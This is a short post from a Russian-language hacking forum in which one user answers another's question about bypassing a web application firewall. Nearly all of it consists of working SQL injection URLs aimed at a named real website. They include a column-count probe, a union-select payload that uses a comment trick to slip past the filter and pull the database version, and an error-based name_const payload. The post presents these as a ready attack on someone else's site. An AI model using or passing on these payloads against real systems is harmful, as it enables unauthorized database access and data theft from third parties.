18.03.2015, 17:39
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от MaxFast
Как обойти сей WAF:
Код:
http://www.szrf.ru/oglavlenie.phtml?nb=edition00&issid=-2015009000+order+by+8--
Задержка какая-то если использовать union select. все стандартно:
Код:
http://www.szrf.ru/oglavlenie.phtml?nb=edition00&issid=-2015009000+/*!union*/+select+1,2,3,4,5,version(),7,8--+
error-based:
Код:
http://www.szrf.ru/oglavlenie.phtml?nb=edition00&issid=-2015009000+|%28select*from%28select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29a%29
главное, чтобы не было union (возможно что-то еще, не смотрел дальше)
|
|
|